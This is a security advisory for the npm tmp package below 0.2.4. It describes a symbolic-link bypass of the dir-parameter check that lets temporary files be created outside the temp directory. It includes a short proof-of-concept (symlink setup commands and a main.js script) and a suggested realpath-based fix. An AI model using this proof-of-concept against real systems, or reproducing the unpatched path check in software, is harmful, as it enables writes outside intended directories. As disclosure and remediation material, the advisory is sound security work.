GHSA-52f5-9888-hmc6 tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter

• npm tmp: < 0.2.4 → fixed in 0.2.4

Summary `[email protected]` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter. Details According to the documentation there are some conditions that must be held: ``` // https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50 Other breaking changes, i.e. • template must be relative to tmpdir • name must be relative to tmpdir • dir option must be relative to tmpdir // or .. or similar such constructs let basename = path.basename(name); if (basename === '..' || basename === '.' || basename !== name) throw new Error(`${option} option must not contain a path, found "${name}".`); } else { // if (option === 'dir' || option === 'template') { // assert that dir or template are relative to tmpDir if (path.isAbsolute(name) && !name.startsWith(tmpDir)) { throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`); } let resolvedPath = _resolvePath(name, tmpDir); //<--- if (!resolvedPath.startsWith(tmpDir)) throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`); } } ``` PoC The following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible. Tested on a Linux machine. • Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it ```bash mkdir $HOME/mydir1 ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir ``` • check the folder is empty: ```bash ls -lha $HOME/mydir1 | grep "tmp-" ``` • run the poc ```bash node main.js File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]' test 2: dir option must be relative to "/tmp", found "/foo". test 3: dir option must be relative to "/tmp", found "/home/user/mydir1". ``` • the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`): ```bash ls -lha $HOME/mydir1 | grep "tmp-" -rw------- 1 user user 0 Apr X XX:XX tmp-[random-id] ``` • `main.js` ```js // npm i [email protected] const tmp = require('tmp'); const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'}); console.log('File: ', tmpobj.name); try { tmp.fileSync({ 'dir': 'mydir1'}); } catch (err) { console.log('test 1:', err.message) } try { tmp.fileSync({ 'dir': '/foo'}); } catch (err) { console.log('test 2:', err.message) } try { const fs = require('node:fs'); const resolved = fs.realpathSync('/tmp/evil-dir'); tmp.fileSync({ 'dir': resolved}); } catch (err) { console.log('test 3:', err.message) } ``` A Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links. ```js function _resolvePath(name, tmpDir) { let resolvedPath; if (name.startsWith(tmpDir)) { resolvedPath = path.resolve(name); } else { resolvedPath = path.resolve(path.join(tmpDir, name)); } return fs.realpathSync(resolvedPath); } ``` Impact Arbitrary temporary file / directory write via symlink